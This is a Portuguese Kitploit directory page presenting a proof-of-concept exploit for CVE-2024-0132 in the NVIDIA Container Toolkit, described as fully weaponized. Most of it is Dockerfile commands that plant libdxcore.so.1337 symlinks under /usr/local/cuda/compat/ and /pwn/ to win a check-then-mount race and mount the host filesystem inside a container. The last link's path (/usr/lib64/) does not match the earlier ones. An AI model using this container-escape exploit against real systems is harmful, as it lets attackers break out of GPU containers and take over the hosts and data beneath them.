Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2024-0132 — CVE-2024-0132 – Fully Weaponized NVIDIA Container Toolkit Exploit | Kitploit
Ferramentas/GitHubGitHub/r0binak/cve-2024-0132
Privilege EscalationContainer SecurityVulnerability AnalysisExploitationCloud SecurityContainer Escape
GitHubr0binak/cve-2024-0132

CVE-2024-0132

CVE-2024-0132 – Fully Weaponized NVIDIA Container Toolkit Exploit

Ver Repositório
61há 1 anoAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2024-0132

CVE-2024-0132 PoC

Vamos começar decidindo uma imagem base. A disposição das bibliotecas no sistema depende do que ela será. Por exemplo, para alpine será /usr/lib64/, para ubuntu será /usr/lib/x86_64-linux-gnu. Usaremos ubuntu como imagem base.

root@kitploit:~
FROM ubuntu

O nvidia container toolkit verifica as bibliotecas em /usr/local/cuda/compat/ dentro do contêiner e então as monta no diretório principal de bibliotecas; para esta imagem (ubuntu), isso seria /usr/lib/x86_64-linux-gnu.

Links também são montados, então você pode montar qualquer arquivo e diretório da imagem para /usr/lib/x86_64-linux-gnu. Isso verifica se o link é resolvido dentro do contêiner; não pode usar múltiplos ../ para path traversal. No entanto, isso pode ser contornado usando a montagem dentro do contêiner via /usr/local/cuda/compat/ duas vezes, daí TOCTOU.

Leia mais sobre o mecanismo de montagem a partir de /usr/local/cuda/compat/:

  • https://github.com/NVIDIA/libnvidia-container/blob/4c2494f16573b585788a42e9c7bee76ecd48c73d/src/nvc_container.c#L61
  • https://github.com/NVIDIA/libnvidia-container/blob/4c2494f16573b585788a42e9c7bee76ecd48c73d/src/nvc_mount.c#L768
root@kitploit:~
RUN mkdir -p /usr/local/cuda/compat/

Crie dois diretórios:

  1. O diretório original conterá um arquivo regular com o conteúdo de test
root@kitploit:~
RUN mkdir -p /usr/lib/x86_64-linux-gnu/libdxcore.so.1337/
RUN echo test > /usr/lib/x86_64-linux-gnu/libdxcore.so.1337/libdxcore.so.1337.hostfs
  1. O segundo diretório com o mesmo nome conterá um link com path traversal em vez de um arquivo.
root@kitploit:~
RUN mkdir -p /pwn/libdxcore.so.1337/
RUN ln -s ../../../../../../../../../ /pwn/libdxcore.so.1337/libdxcore.so.1337.hostfs

O nome libdxcore.so é escolhido para satisfazer os filtros. A versão principal (1337) deve ser diferente da versão real do driver.

Crie dois links em /usr/local/cuda/compat/:

  1. O primeiro link substituirá o conteúdo do diretório original /usr/lib/x86_64-linux-gnu/libdxcore.so.1337/ por /pwn/libdxcore.so.1337/
root@kitploit:~
RUN ln -s /pwn/libdxcore.so.1337 /usr/local/cuda/compat/libxxx.so.1
  1. O segundo link monta /usr/lib/x86_64-linux-gnu/libdxcore.so.1337/libdxcore.so.1337.hostfs para /usr/lib/x86_64-linux-gnu/libdxcore.so.1337.hostfs. Durante a verificação será um arquivo normal, mas no momento da montagem será um link que estava em /pwn/libdxcore.so.1337/libdxcore.so.1337.hostfs, assim o sistema de arquivos do host será montado em /usr/lib/x86_64-linux-gnu/libdxcore.so.1337.hostfs/.
root@kitploit:~
RUN ln -s /usr/lib64/libdxcore.so.1337/libdxcore.so.1337.hostfs /usr/local/cuda/compat/libxxx.so.2
Baixar ferramenta